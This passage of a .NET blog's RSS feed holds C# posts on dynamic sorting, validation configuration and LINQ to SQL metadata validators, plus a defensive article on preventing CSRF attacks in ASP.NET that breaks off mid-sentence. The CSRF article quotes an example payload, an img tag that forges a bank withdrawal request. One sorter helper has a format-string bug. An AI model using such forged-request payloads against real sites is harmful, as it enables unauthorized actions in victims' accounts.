typeof(LambdaBuilder&lt;&gt;).MakeGenericType(typeArgs);<br /><br />        return (ILambdaBuilder)Activator.CreateInstance(builderType);<br />    }<br /><br />    private static List&lt;MethodInfo&gt; GetPropertyAccessors(<br />        string propertyName)<br />    {<br />        try<br />        {<br />            return GetPropertyAccessorsFromChain(propertyName);<br />        }<br />        catch (InvalidOperationException ex)<br />        {<br />            string message = propertyName +<br />                &quot; could not be parsed. &quot; + ex.Message;<br /><br />            // We throw a more expressive exception at this level.<br />            throw new ArgumentException(message, &quot;propertyName&quot;);<br />        }<br />    }<br /><br />    private static List&lt;MethodInfo&gt; GetPropertyAccessorsFromChain(<br />        string propertyNameChain)<br />    {<br />        var propertyAccessors = new List&lt;MethodInfo&gt;();<br /><br />        var declaringType = typeof(T);<br /><br />        foreach (string name in propertyNameChain.Split('.'))<br />        {<br />            var accessor = GetPropertyAccessor(declaringType, name);<br /><br />            propertyAccessors.Add(accessor);<br /><br />            declaringType = accessor.ReturnType;<br />        }<br /><br />        return propertyAccessors;<br />    }<br /><br />    private static MethodInfo GetPropertyAccessor(Type declaringType,<br />        string propertyName)<br />    {<br />        var prop = GetPropertyByName(declaringType, propertyName);<br /><br />        return GetPropertyGetter(prop);<br />    }<br /><br />    private static PropertyInfo GetPropertyByName(Type declaringType,<br />        string propertyName)<br />    {<br />        BindingFlags flags = BindingFlags.IgnoreCase |<br />            BindingFlags.Instance | BindingFlags.Public;<br /><br />        var prop = declaringType.GetProperty(propertyName, flags);<br /><br />        if (prop == null)<br />        {<br />            string exceptionMessage = string.Format(<br />                &quot;{0} does not contain a property named '{1}'.&quot;,<br />                declaringType, propertyName);<br /><br />            throw new InvalidOperationException(exceptionMessage);<br />        }<br /><br />        return prop;<br />    }<br /><br />    private static MethodInfo GetPropertyGetter(PropertyInfo property)<br />    {<br />        var propertyAccessor = property.GetGetMethod();<br /><br />        if (propertyAccessor == null)<br />        {<br />            string exceptionMessage = string.Format(<br />                &quot;The property '{1}' does not contain a getter.&quot;,<br />                property.Name);<br /><br />            throw new InvalidOperationException(exceptionMessage);<br />        }<br /><br />        return propertyAccessor;<br />    }<br /><br />    private sealed class LambdaBuilder&lt;TKey&gt; : ILambdaBuilder<br />    {<br />        public LambdaExpression BuildLambda(<br />            IEnumerable&lt;MethodInfo&gt; propertyAccessors)<br />        {<br />            ParameterExpression parameterExpression =<br />                Expression.Parameter(typeof(T), &quot;entity&quot;);<br /><br />            Expression propertyExpression = BuildPropertyExpression(<br />                propertyAccessors, parameterExpression);<br /><br />            return Expression.Lambda&lt;Func&lt;T, TKey&gt;&gt;(<br />                propertyExpression, new[] { parameterExpression });<br />        }<br /><br />        private static Expression BuildPropertyExpression(<br />            IEnumerable&lt;MethodInfo&gt; propertyAccessors,<br />            ParameterExpression parameterExpression)<br />        {<br />            Expression propertyExpression = null;<br /><br />            foreach (var propertyAccessor in propertyAccessors)<br />            {<br />                var innerExpression =<br />                    propertyExpression ?? parameterExpression;<br /><br />                propertyExpression = Expression.Property(<br />                    innerExpression, propertyAccessor);<br />            }<br /><br />            return propertyExpression;<br />        }<br />    }<br />}</pre><p>The <span class="type">EntitySorterBuilder</span><span class="code">&lt;T&gt;</span> does a few interesting things. First of all it creates a list of property accessors (getter methods), based on the property names. For instance, it creates a list of two getter methods when the following string is supplied: &quot;Address.City&quot;. Next it generates a lambda expression (the keySelector) based on the list of property accessors, in the following form: 'e =&gt; e.[Property1].[Property2]'). After that, it creates a new <span class="type">OrderBySorter</span><span class="code">&lt;T, TKey&gt;</span> or <span class="type">ThenBySorter</span><span class="code">&lt;T, TKey&gt;</span> with the generated lambda expression as constructor argument and returns it.</p><p>I hope this <span class="type">EntitySorter</span><span class="code">&lt;T&gt;</span> comes in handy to some of you. I has already served me well over the last year.</p><p>I just created an <a rel="external" href="http://servicelayerhelpers.codeplex.com" title="CuttingEdge.ServiceLayerHelpers @ CodePlex">CodePlex project</a> that contains the code shown above. The code on CodePlex has additional error checking, (xml) comments and more descriptive variable names. So don't copy-paste the code from this blog; just browse directly to the source code, by clicking <a rel="external" href="http://servicelayerhelpers.codeplex.com/SourceControl/changeset/view/34401#537056" title="CuttingEdge.ServiceLayerHelpers Source Code - EntitySorter&lt;TEntity&gt;">here</a>.</p><p>The project also contains an <span class="type">EntityFilter</span><span class="code">&lt;T&gt;</span> class (<a rel="external" href="http://servicelayerhelpers.codeplex.com/SourceControl/changeset/view/32810#537055" title="CuttingEdge.ServiceLayerHelpers Source Code - EntityFilter&lt;TEntity&gt;">here</a> the code) that allows filtering of collections. Just like the <span class="type">EntitySorter</span><span class="code">&lt;T&gt;</span> it allows creation using LINQ queries, like this:</p><pre class="cs" language="csharp" customtypes="IQueryable IOrderedQueryable IEntitySorter Person Condition EntitySorter PersonServices IEntityFilter EntityFilter" customvaluetypes="SortDirection">IEntityFilter&lt;Person&gt; entityFilter =<br />    from person in EntityFilter&lt;Person&gt;.AsQueryable()<br />    where person.Name.StartsWith(&quot;a&quot;)<br />    where person.Id &lt; 100<br />    select person;</pre><p>Happy sorting and filtering!</p> ]]></description>
			<guid isPermaLink="false">66@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Entity Framework, LINQ, LINQ to SQL</category>
			<pubDate>Sun, 25 Oct 2009 21:28:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Putting the Validation Application Block configuration in its own file</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=65</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=65#comm</comments>
                        <description><![CDATA[ This article describes how to extract the validation configuration to its own file and allow this to also work with unit tests.<p>The problem that you encounter pretty quickly when defining the VAB configuration in the normal web.config or app.config is that you need to have multiple copies of that configuration. You'll have at least two copies: one for your unit tests and one file for the application itself. At first this is a bit annoying, but it get's frustrating quickly after that. Later on it leads to errors, after someone on your team updated the unit test configuration, but forgot to update the application&rsquo;s configuration file.</p><p>Luckily the Enterprise Library allows you to choose alternative configuration files using the <a rel="external" href="http://msdn.microsoft.com/en-us/library/microsoft.practices.enterpriselibrary.common.configuration.iconfigurationsource%28BTS.10%29.aspx" title="MSDN - IConfigurationSource Interface">IConfigurationSource</a> interface. Later more on this, but first here is how you put the VAB configuration in it&rsquo;s own file:</p><p>Start by adding a new configuration file to on of your projects (most likely on of your business layer projects). After you created it, change the &quot;<em>Copy to Output Directory</em>&quot; property to &quot;<em>Copy if newer</em>&quot; by right-clicking on the file and choosing &lsquo;properties&rsquo;. This will enable the configuration file to be copied to the output directory, which isn't the default option.</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/validation_config_copy_to_output_directory.gif" style="border:0px solid" title="Copy to Output Directory" alt="Copy to Output Directory" class="pivot-image" /></p>
<p>After you've created the file you can simply add validation configuration the way you're used to using the Enterprise Library Configuration tool by right clicking on the configuration file and selecting &quot;Edit Enterprise Library Configuration&quot;, or by editing the file by hand.</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/validation_config_edit_enterprise_library_configuration.gif" style="border:0px solid" title="Edit Enterprise Library Configuration" alt="Edit Enterprise Library Configuration" class="pivot-image" /></p>
<p>Choosing &quot;Copy if newer&quot; for the validation configuration file has no effect in conjunction with Visual Studio Unit Tests. So the last step to take is to configure the test system to copy that file. The standard way to do this is by specifying the deployment items in the .testrunconfig file. You can do this by going to Test / Edit Test Run Configurations / Deployment. You can use the &quot;Add File...&quot; button to add the configuration file. The image below shows the deployment tab with a validation.config added.</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/validation_config_edit_test_run_configurations.gif" style="border:0px solid" title="Edit Test Run Configuration" alt="Edit Test Run Configuration" class="pivot-image" /></p>
<p><font color="#ff0000">&lt;UPDATE 2010-01-06&gt;</font><br />I forgot to mention how to exactly let the VAB know you replaced the configuration file.</p><p>You need to create an instance of a type implementing <span class="type">IConfigurationSource</span> and supply it to an overload of the <span class="type">ValidationFactory</span><span class="code">.CreateValidator</span> method. Using a configuration file named &quot;validation.config&quot;, the following code snippet can be used to create a <span class="type">Validator</span> based on that configuration:</p><pre class="cs" language="csharp" customtypes="IConfigurationSource FileConfigurationSource ValidationFactory" customvaluetypes="PutYourCustomValueTypesHere">string ruleSet = string.Empty;<br /><br />IConfigurationSource configurationSource =<br />    new FileConfigurationSource(&quot;validation.config&quot;);<br /><br />var validator = ValidationFactory.CreateValidator(type, ruleSet,<br />    configurationSource);</pre><p>Or when using the <span class="type">IEntityValidator</span> approach used in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=64" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 4: Using Metadata to Automate Validations">part 4</a> of my VAB series, the <span class="type">VABEntityValidator</span> would look like this:</p><pre class="cs" language="csharp" customtypes="VABEntityValidator IEntityValidator IConfigurationSource FileConfigurationSource ValidationResult Validator ValidationFactory" customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using Microsoft.Practices.EnterpriseLibrary.Common.Configuration;<br />using Microsoft.Practices.EnterpriseLibrary.Validation;<br /><br />sealed class VABEntityValidator : IEntityValidator<br />{<br />    private static IConfigurationSource ConfigurationSource =<br />       new FileConfigurationSource(&quot;validation.config&quot;);<br /><br />    public IEnumerable&lt;ValidationResult&gt; Validate(<br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        return<br />            from entity in entities<br />            let type = entity.GetType()<br />            let validator = CreateValidator(type)<br />            let results = validator.Validate(entity)<br />            where !results.IsValid<br />            from result in results<br />            select result;<br />    }<br /><br />    private static Validator CreateValidator(Type type)<br />    {<br />        string ruleSet = string.Empty;<br /><br />        return ValidationFactory.CreateValidator(type, ruleSet,<br />            ConfigurationSource);<br />    }<br />}</pre><p><font color="#ff0000">&lt;/UPDATE&gt;</font> </p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">65@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Enterprise Library, Validation Application Block</category>
			<pubDate>Wed, 30 Sep 2009 11:00:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 4: Using Metadata to Automate Validations</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=64</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=64#comm</comments>
                        <description><![CDATA[ This article describes how to extract information from your generated LINQ to SQL entities to automate validations like maximum string length and disallowing null values.<p>In the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/archive.php?c=Validation_Application_Block" title=".NET Junkie - Validation Application Block articles">previous parts</a> I wrote <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration">how to integrate the Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework projects</a>, <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">enabled using the context within custom validators</a>, and wrote about <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=49" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 3: The complexity of custom validators.">the complexity of custom validators</a>.</p><p>What's nice about LINQ to SQL (L2S) is that it adds all sort of metadata to the generated entities. Two things that come to mind are the maximum length of a database varchar column and whether a column can contain null values or not. While the Validation Application Block (VAB) has validators for these types of constraints (the <span class="type">NotNullValidator</span> and <span class="type">StringLengthValidator</span>), adding them manually can be cumbersome. Automating away boring labour is always welcome. In this article I'll show you how, while building on top of the solution presented in the previous articles.</p><p>Please note that Entity Framework (EF) adds much less metadata to its generated entities. With EF you still have to add those validations using the VAB configuration (also remember this when migrating from L2S to EF). However, the future of EF is bright and EF 4.0 will allow you to specify your own T4 template and therefore completely control the shape of the generated code.</p><p>In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - NotNullValidator">part 1</a> and <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=47" title=".NET Junkie - Integrating Enterprise Library Validation Application Block with LINQ to SQL and Entity Framework Part 2: Using context within custom validators.">part 2</a> I defined the <span class="type">EntityValidator</span> class. Before writing the code for the validations, let's first change the <span class="type">EntityValidator</span> class, so it becomes more flexible for these and possible future changes:</p><pre class="cs" language="csharp" customtypes="Assembly ColumnAttribute ContextScope EntityValidator IEntityValidator LinqToSqlMaximumFieldLengthValidator LinqToSqlNullPropertyValidator VABEntityValidator  ValidationException ValidationFactory ValidationResult " customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using System.Collections.Generic;<br />using System.Collections.ObjectModel;<br />using System.Linq;<br />using System.Reflection;<br /><br />interface IEntityValidator<br />{<br />    IEnumerable&lt;ValidationResult&gt;<br />        Validate(IEnumerable&lt;object&gt; entities);<br />}<br /><br />public static class EntityValidator<br />{<br />    private static readonly IEntityValidator[] Validators;<br /><br />    static EntityValidator()<br />    {<br />        var types = Assembly.GetExecutingAssembly().GetTypes();<br /><br />        var validators =<br />            from type in types<br />            where !type.IsAbstract<br />            where typeof(IEntityValidator).IsAssignableFrom(type)<br />            select (IEntityValidator)Activator.CreateInstance(type);<br /><br />        Validators = validators.ToArray();<br />    }<br /><br />    public static void Validate(object context,<br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        using (new ContextScope(context))<br />        {<br />            var invalidResults = (<br />                from validator in Validators<br />                from result in validator.Validate(entities)<br />                select result).ToArray();<br /><br />            // Throw an exception when there are invalid results.<br />            if (invalidResults.Length &gt; 0)<br />            {<br />                throw new ValidationException(invalidResults);<br />            }<br />        }<br />    }<br />}</pre><p>This new <span class="type">EntityValidator</span> implementation uses a plug-in model, where different validation modules can be added without any changes to existing code (The <a rel="external" href="http://en.wikipedia.org/wiki/Open/closed_principle" title="Wikipedia - Open/closed principle">Open/Closed principle</a>). The plug-ins must implement the <span class="type">IEntityValidator</span> interface. The static constructor of the <span class="type">EntityValidator</span> loads all available plug-ins by searching for all types in the same assembly that implement the <span class="type">IEntityValidator</span> interface. All found types will be instantiated and added to a static list.</p><p>Note that there are of course other possible implementations. For instance, a <a rel="external" href="http://en.wikipedia.org/wiki/Dependency_injection" title="Wikipedia - Dependency injection">dependency injection</a> framework (such as my own <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector - an easy-to-use Dependency Injection library">Simple Injector</a>) could be used to retrieve the list of <span class="type">IEntityValidator</span> implementations or you could create a plug-in model where the application loads assemblies located in a plugin directory (but I wouldn't advice this last option in this scenario). I chose this particular implementation, because it&rsquo;s both flexible and just a few lines of code (less code is important, because this plug-in model isn&rsquo;t the subject of this post).</p><p>The <span class="type">EntityValidator</span><span class="code">.Validate</span> method uses the static list of <span class="code">Validators</span> and invokes each validator's <span class="code">Validate</span> method. The validate method returns a collection of VAB <span class="type">ValidationResult</span> objects, one for each failed validation rule. The <span class="code">Validate</span> method has become even simpler than it was before. All framework dependent validations are now extracted from this method, which is good. What is left is the infrastructure.</p><p>Note that there is a little tweak from the previous implementation: The previous implementations used a collection of <span class="type">ValidationResults</span> objects (a <span class="type">ValidationResults</span> object is a staticly typed collection of <span class="type">ValidationResult</span> objects). In this new implementation we directly use a collection of <span class="type">ValidationResult</span> objects. The extra grouping made things more difficult than strictly needed.</p><p>What we need to do next is to create some implementations of the <span class="type">IEntityValidator</span> interface. Let's start with the VAB validation infrastructure:</p><pre class="cs" language="csharp" customtypes="ColumnAttribute ContextScope EntityValidator IEntityValidator LinqToSqlMaximumFieldLengthValidator LinqToSqlNullPropertyValidator VABEntityValidator  ValidationException ValidationFactory ValidationResult " customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using System.Collections.Generic;<br />using System.Linq;<br />using Microsoft.Practices.EnterpriseLibrary.Common.Configuration;<br />using Microsoft.Practices.EnterpriseLibrary.Validation;<br /><br />sealed class VABEntityValidator : IEntityValidator<br />{<br />    public IEnumerable&lt;ValidationResult&gt; Validate(<br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        return<br />            from entity in entities<br />            let type = entity.GetType()<br />            let validator =<br />                ValidationFactory.CreateValidator(type)<br />            let results = validator.Validate(entity)<br />            where !results.IsValid<br />            from result in results<br />            select result;<br />    }<br />}</pre><p>This code should look pretty familiar. It's the code that was part of the <span class="type">EntityValidator</span><span class="code">.Validate</span> method in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=46" title=".NET Junkie - Integrating Enterprise Library Validation Application Block With LINQ to SQL and Entity Framework Part 1: Basic Integration">part 1</a>. With this code our solution is back to it&rsquo;s old behavior.</p><p>Let's now define an entity validator that uses the LINQ to SQL metadata to validate properties that must not contain a null value:</p><pre class="cs" language="csharp" customtypes="PropertyInfo ColumnAttribute ContextScope EntityValidator IEntityValidator LinqToSqlMaximumFieldLengthValidator LinqToSqlNullPropertyValidator VABEntityValidator  ValidationException ValidationFactory ValidationResult " customvaluetypes="PutYourCustomValueTypesHere">using System.Collections.Generic;<br />using System.Data.Linq.Mapping;<br />using System.Linq;<br />using System.Reflection;<br /><br />class LinqToSqlNullPropertyValidator : IEntityValidator<br />{<br />    public IEnumerable&lt;ValidationResult&gt; Validate(<br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        return<br />            from entity in entities<br />            from result in GetValidationResultsFor(entity)<br />            select result;<br />    }<br /><br />    private static IEnumerable&lt;ValidationResult&gt;<br />        GetValidationResultsFor(object entity)<br />    {<br />        var properties = entity.GetType().GetProperties();<br /><br />        return<br />            from property in properties<br />            where property.GetValue(entity, null) == null<br />            where !PropertyCanBeNull(property)<br />            select new ValidationResult(&quot;The value cannot be null.&quot;,<br />                entity, property.Name, null, null);<br />    }<br /><br />    private static bool PropertyCanBeNull(PropertyInfo property)<br />    {<br />        object[] columnAttributes = property.GetCustomAttributes(<br />            typeof(ColumnAttribute), true);<br /><br />        if (columnAttributes.Length == 0)<br />        {<br />            return true;<br />        }<br />         <br />        var column = (ColumnAttribute)columnAttributes[0];<br />        return column.IsDbGenerated || column.CanBeNull;<br />    }<br />}</pre><p><font color="#ff0000">&lt;Update 2010-03-07&gt;</font><br />There was a problem concerning database generated columns. I fixed a bug in the <span class="type">LinqToSqlNullPropertyValidator</span> by checking the <span class="code">IsDbGenerated</span> property.<br /><font color="#ff0000">&lt;/Update&gt;</font> </p><p>This relatively simple class uses LINQ extensively. Did I tell you how much I love LINQ for its expressiveness? :-). The class iterates all supplied entities and for each entity iterates its public properties to check whether it has been marked with a <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.mapping.columnattribute.aspx" title="MSDN - System.Data.Linq.Mapping.ColumnAttribute Class">ColumnAttribute</a>. If the attribute is found and it&rsquo;s <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.mapping.columnattribute.canbenull.aspx" title="MSDN - ColumnAttribute.CanBeNull Property ">CanBeNull</a> property is false while the actual property value is null, a <span class="type">ValidationResult</span> will be added to the returned collection.</p><p>While validating for null values is useful, checking the string length of a property would be even more useful. Here&rsquo;s the code to do this:</p><pre class="cs" language="csharp" customtypes="PropertyInfo ColumnAttribute ContextScope EntityValidator IEntityValidator LinqToSqlMaximumFieldLengthValidator LinqToSqlNullPropertyValidator VABEntityValidator  ValidationException ValidationFactory ValidationResult " customvaluetypes="PutYourCustomValueTypesHere">using System;<br />using System.Collections.Generic;<br />using System.Data.Linq.Mapping;<br />using System.Linq;<br />using System.Reflection;<br /><br />class LinqToSqlMaximumFieldLengthValidator : IEntityValidator<br />{<br />    public IEnumerable&lt;ValidationResult&gt; Validate(<br />        IEnumerable&lt;object&gt; entities)<br />    {<br />        return<br />            from entity in entities<br />            from result in GetMaxLengthErrorsFor(entity)<br />            select result;<br />    }<br /><br />    private static IEnumerable&lt;ValidationResult&gt;<br />        GetMaxLengthErrorsFor(object entity)<br />    {<br />        var properties = entity.GetType().GetProperties();<br /><br />        return<br />            from property in properties<br />            where property.PropertyType == typeof(string)<br />            let value = (string)property.GetValue(entity, null)<br />            let length = value == null ? 0 : value.Length<br />            where length &gt; 0<br />            let maximumLength = GetMaximumLength(property)<br />            where length &gt; maximumLength<br />            select BuildResult(entity, property, maximumLength);<br />    }<br /><br />    private static ValidationResult BuildResult(object entity,<br />        PropertyInfo property, int maximumLength)<br />    {<br />        const string FormatMessage =<br />            &quot;The length of the value must be less &quot; +<br />            &quot;or equal to {0} characters.&quot;;<br /><br />        string message =<br />            string.Format(FormatMessage, maximumLength);<br /><br />        return new ValidationResult(message, entity,<br />            property.Name, null, null);<br />    }<br /><br />    private static int GetMaximumLength(PropertyInfo property)<br />    {<br />        ColumnAttribute attribute =<br />            GetColumnAttribute(property);<br /><br />        if (attribute == null)<br />        {<br />            return Int32.MaxValue;<br />        }<br /><br />        string dbType = attribute.DbType;<br /><br />        if (!IsTruncatableTextType(dbType))<br />        {<br />            return Int32.MaxValue;<br />        }<br /><br />        int leftBracketIndex = dbType.IndexOf(&quot;(&quot;);<br />        int rightBracketIndex = dbType.IndexOf(&quot;)&quot;);<br /><br />        try<br />        {<br />            string length = dbType.Substring(leftBracketIndex + 1,<br />                rightBracketIndex - leftBracketIndex - 1);<br /><br />            return int.Parse(length);<br />        }<br />        catch (SystemException ex)<br />        {<br />            string message = string.Format(<br />                &quot;Property {0} of type {1} has a {2} defined &quot; +<br />                &quot;with a DbType with value '{3}'. The maximum &quot; +<br />                &quot;length of that text field can not be extracted.&quot;,<br />                property.Name, property.DeclaringType,<br />                typeof(ColumnAttribute), dbType);<br /><br />            throw new InvalidOperationException(message, ex);<br />        }<br />    }<br /><br />    private static ColumnAttribute GetColumnAttribute(<br />        PropertyInfo property)<br />    {<br />        object[] columnAttributes =<br />            property.GetCustomAttributes(typeof(ColumnAttribute), true);<br /><br />        if (columnAttributes.Length == 0)<br />        {<br />            return null;<br />        }<br /><br />        return ((ColumnAttribute)columnAttributes[0]);<br />    }<br /><br />    private static bool IsTruncatableTextType(string dbType)<br />    {<br />        StringComparison ignoreCase =<br />            StringComparison.InvariantCultureIgnoreCase;<br /><br />        return<br />            dbType != null &amp;&amp; (<br />            dbType.StartsWith(&quot;Char&quot;, ignoreCase) ||<br />            dbType.StartsWith(&quot;NChar&quot;, ignoreCase) ||<br />            dbType.StartsWith(&quot;VarChar&quot;, ignoreCase) ||<br />            dbType.StartsWith(&quot;NVarChar&quot;, ignoreCase));<br />    }<br />}</pre><p>This class is slightly more complicated than the previous one, but the concept is the same. The class iterates all supplied entities and for each entity iterates the entity's public string properties to check whether its value's length is longer than the maximum that is specified in the <span class="type">ColumnAttribute</span>. The <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.data.linq.mapping.columnattribute.dbtype.aspx" title="MSDN - ColumnAttribute.DbType Property">DbType</a> property of the <span class="type">ColumnAttribute</span> specifies the length of the string. Problem here is that the <span class="code">DbType</span> property is a string and the maximum string length is buried within that string, which might be defined as: <font color="#a31515">&quot;NVarChar(15) NOT NULL&quot;</font>. That's why some dirty string splitting is going on.</p><p>Note that this is a bit naive implementation and it might be slow. I could imagine the class to cache the needed metadata to improve performance, but I leave this as an exercise for the reader.</p><p><font color="#ff0000">&lt;UPDATE 2010-01-31&gt;</font><br />I did some testing to compare the difference between the naive implementation and one that caches the metadata and I did this by validating 10.000 Employee entities (since Employee is the biggest entity in the Northwind domain). I measured an overhead of 0.5 ms per validated Employee entity on my dev box. This isn't that much, but a cached approach might be useful in situations where you validate large sets of entities.<br /><font color="#ff0000">&lt;/UPDATE&gt;</font><br /> </p><h6>Conclusion</h6><p>As you can see, after doing a bit refactoring, adding support for automatic validation according to the generated metadata is a breeze.</p><p>Happy validating.</p> ]]></description>
			<guid isPermaLink="false">64@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Entity Framework, LINQ, LINQ to SQL, O/RM, Validation Application Block</category>
			<pubDate>Wed, 30 Sep 2009 01:30:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Research on botnets</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=63</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=63#comm</comments>
                        <description><![CDATA[ I just watched an amazing Google Talk video on YouTube that explains how botnets work.Watch it here: <a rel="external" href="http://www.youtube.com/watch?v=2GdqoQJa6r4" title="YouTube - How to Steal a Botnet and What Can Happen When You Do">How to Steal a Botnet and What Can Happen When You Do</a>. ]]></description>
			<guid isPermaLink="false">63@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Science, Security</category>
			<pubDate>Thu, 24 Sep 2009 10:31:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Preventing Cross-site Request Forgery (CSRF) Attacks Using ViewState</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=62</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=62#comm</comments>
                        <description><![CDATA[ This article describes what Cross-site request forgery attacks are and how to mitigate them.<p>Cross-site request forgery (CSRF) is &quot;<em>a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts <a rel="external" href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" title="Wikipedia - Cross-site request forgery">-&gt;</a></em>&quot;. A CSRF attack typically forces users to execute unwanted actions while they are logged into a trusted website. What basically happens with CSRF is that a bad guy lures your website's users to a webpage he controls. By crafting that page in specific way the attacker tricks the user's browser into sending requests to your website. When that user is logged in to your website at that time (or your site has a remember me option), the request is executed in the context of that user.</p><p>Wikipedia has <a rel="external" href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" title="Wikipedia - Cross-site request forgery">a good example</a> of a CSRF attack where the attacker uses an HTML image tag to transmit a command in the context of the logged in user:</p><pre class="html" language="html">&lt;img src=&quot;http://bank.example/withdraw?account=bob&amp;amount=1000000&amp;for=mallory&quot;&gt;</pre><p>For this attack to be successful, the bank.example website must allow execution of commands through HTTP GET operations. One of the easiest ways in preventing CSRF attacks is preventing any mutations through GET operations. Only post backs should be able to trigger any transaction or change any state. This eliminates this particular type of CSRF attacks.</p><p>Disallowing GET for mutations however, is not enough. There is a second type of CSRF and it uses post backs. By creating a malicious (possibly hidden) form in a web page, the bad guy would trick the victim or the victim's browser into posting the form to your website. While it's easy to understand that PHP websites are vulnerable to this type of attack, sometimes .NET developers have the misconception that ASP.NET is safe, because the ViewState protects them. Well, the ViewState can protect you, but it doesn&rsquo;t do so by default.</p><p>As you know, the ASP.NET <a rel="external" href="http://weblogs.asp.net/infinitiesloop/archive/2006/08/03/truly-understanding-viewstate.aspx" title="Infinities Loop - TRULY Understanding ViewState">ViewState</a> is this block of <a rel="external" href="http://nl.wikipedia.org/wiki/Base64" title="Wikipedia - Base64">Base64</a> encoded data, containing the state of a web page, sent to the browser for storage between two requests. This data will be sent back to the web server on each post back. With a normal configuration, the ViewState data is not encrypted and can be <a rel="external" href="http://www.google.nl/search?q=viewstate+decoder" title="Google search: viewstate + decoder">read</a> by anyone who wishes to. However, because the ViewState contains a hash value (when <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.web.ui.page.enableviewstatemac.aspx" title="MSDN - Page.EnableViewStateMac Property">EnableViewStateMac</a> is set to true, which is the default), it's practically impossible for it to be tampered with. A post back will only succeed if the ViewState is of an exact form. The nature of CSRF attacks doesn't enable the attacker to steal the user's ViewState from a page. But what developers often don't realize is that the ViewState isn't user specific (by default). Therefore, an attacker with access to the website (for instance when he has a user account) can simply copy the page's ViewState and use it to build the HTML form of his malicious web page.</p><p>When that form is posted to the website from the victim's browser, the ASP.NET website will, as always, validate that ViewState. However, because that ViewState isn't tampered with, the ViewState's hash is still valid for that particular page and the page is executed. When the user is logged in at that time, the CSRF attack is successful.</p><h5>Mitigating the risk</h5><p>There are several ways to mitigate the risk. The easiest way is by using the Page's <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.web.ui.page.viewstateuserkey.aspx" title="MSDN - System.Web.UI.Page.ViewStateUserKey Property">ViewStateUserKey</a> property. You can set this property in the page's Init event. What will happen is that ASP.NET will use this value to generate the ViewState <a rel="external" href="http://en.wikipedia.org/wiki/Message_authentication_code" title="Wikipedia - Message authentication code">MAC</a> (which is the hash for the ViewState). This means that when the user key changed on a post back, the validation for the MAC will fail and a <span class="type">HttpException</span> will be thrown. The following example shows how to implement this protection in a web page:</p><pre class="cs" language="csharp" customtypes="InvalidOperationException">protected void Page_Init(object sender, EventArgs e)<br />{<br />&nbsp;&nbsp;&nbsp; // Validate whether ViewState contains the MAC fingerprint<br />&nbsp;&nbsp;&nbsp; // Without a fingerprint, it's impossible to prevent CSRF.<br />&nbsp;&nbsp;&nbsp; if (!this.Page.EnableViewStateMac)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new InvalidOperationException(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;The page does NOT have the MAC enabled and the view&quot; +<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;state is therefore vulnerable to tampering.&quot;);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; this.ViewStateUserKey = this.Session.SessionID;<br />}</pre><p>There are a few short comes to this solutions however. First of all, while using a SessionID is very safe, this means post backs wouldn't survive a 